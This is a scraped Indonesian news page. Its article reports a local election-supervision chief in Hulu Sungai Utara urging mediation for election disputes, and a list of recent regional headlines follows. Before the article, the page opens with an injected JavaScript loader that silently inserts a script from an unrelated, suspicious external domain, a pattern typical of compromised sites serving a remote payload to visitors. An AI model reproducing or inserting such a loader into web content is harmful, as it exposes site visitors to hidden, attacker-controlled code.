(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Ketua Bawaslu HSU: Utamakan Mediasi Jika Ada Sengketa Pemilu


KANALKALIMANTAN.COM, AMUNTAI – Ketua Badan Pengawas Pemilu (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) Syardani menekankan proses penyelesaian sengketa peserta Pemilu di kecamatan dapat lebih mengedepankan mediasi yang difasilitasi Bawaslu.

Hal itu seperti diungkapkannya saat membuka kegiatan pembinaan penyelesaian sengketa Pemilu bersama perwakilan partai politik (Parpol), sebagai nara sumber dari akademisi Universitas Lambung Mangkurat (ULM), serta anggota Bawaslu Provinsi Kalimantan Selatan, di Hotel Lambung Mangkurat, Selasa (23/5/2023).

“Penyelesaian sengketa itu ada yang cepat ataupun yang sesuai aturan Perbawaslu Nomor 9 Tahun 2022, kalau kita di kecamatan itu lebih baik secara mediasi,” jelas Syardani.

Dengan dilakukannya proses penyelesaian sengketa melalui forum mediasi, dia berharap permasalahan sengketa peserta Pemilu dapat diatasi secara cepat, menghindari hal-hal yang tidak diinginkan.

Baca juga: Replik JPU Pertahankan Tuntutan, Kasus Korupsi KONI Banjarbaru Diputus Pekan Depan

“Jangan sampai permasalahan sengketa itu berlanjut, apalagi sampai kekerasan fisik kemudian penghancuran, jadi seorang Panwascam harus jeli melihat kondisi di lapangan,” ingatnya.

Menurut Syardani, potensi sengketa proses biasa muncul saat memasuki tahapan kampanye.

Biasanya yang terjadi adalah sengketa pada saat pemasangan alat peraga kampanye dan zona kampanye.

Dengan adanya potensi sengketa proses ini, dia meminta Panwascam dapat melakukan pengawasan di seluruh tahapan Pemilu.

Baca juga: PLN Turunkan Tim Khusus Pemeliharaan Jaringan Tanpa Padam di GI Buntok

Sebagaimana dimuat dalam Pasal 42 ayat (2) Peraturan Bawaslu (Perbawaslu) Nomor 9 Tahun 2022 tentang Tata Cara Penyelesaian Sengketa Proses Pemilihan Umum (Pemilu), mediasi terkait dengan sengketa dalam tahapan pemilu dilaksanakan paling lama dua hari secara berturut-turut terhitung sejak permohonan didaftarkan.

“Kalau melapor misal ada peserta Pemilu, maka akan kita proses pemanggilan, kemudian dilakukan registrasi sesuai administrasi Perbawaslu,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.